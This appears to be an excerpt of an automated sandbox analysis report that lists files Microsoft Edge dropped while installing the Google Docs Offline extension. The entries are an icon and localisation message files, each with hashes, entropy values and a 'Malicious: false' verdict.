SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
